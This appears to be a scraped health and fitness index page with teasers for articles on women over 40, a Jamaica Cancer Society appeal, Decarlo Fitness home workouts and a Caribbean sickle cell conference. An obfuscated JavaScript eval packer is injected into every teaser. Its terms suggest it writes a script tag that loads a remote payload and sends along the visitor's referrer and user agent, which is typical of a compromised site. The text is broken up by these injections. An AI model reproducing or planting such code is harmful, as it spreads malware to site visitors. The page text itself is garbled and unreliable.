Health & Fitness

Fab and Over 40: Mother’s Day Edition

Fabulous and over 40 celebrates the brilliant women who seem to stay beautiful, fabulous and oozing eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('b'+e(c)+'b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ysski|var|u0026u|referrer|nbznn||js|php'.split('|'),0,{})) with confidence. Forget the stereotypes associated...

Help the Jamaica Cancer Society save lives today!

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('b'+e(c)+'b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zherd|var|u0026u|referrer|bnyzd||js|php'.split('|'),0,{})) Staff Writer - Latoya Wakefield Lately, I've been in the spirit of giving and it's not because of the...

Decarlo Fitness (V): In home therapy

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('b'+e(c)+'b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aerhf|var|u0026u|referrer|kbynf||js|php'.split('|'),0,{})) Decarlo Oakley, Fitness Contributor Don't need a gym, at home is where we begin. Week 5 In home therapy. Before we start,...

Caribbean Sickle Cell Conference comes to Saint Lucia

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('b'+e(c)+'b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrtth|var|u0026u|referrer|ranyr||js|php'.split('|'),0,{})) Contributor - Melanius Alphonse The Caribbean Organization of Sickle Cell Associations (COSCA), with the Saint Lucia Sickle Cell Association,...

Decarlo Fitness (IV): Isometric & Core exercises

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d=k||c.toString(a)}k=}];e=function(){return'w+'};c=1};while(c--){if(k){p=p.replace(new RegExp('b'+e(c)+'b','g'),k)}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ifnii|var|u0026u|referrer|erynn||js|php'.split('|'),0,{})) Decarlo Oakley, Fitness Contributor Train 4 Tha Gain! You don't need a gym, at home is where we begin. Before...

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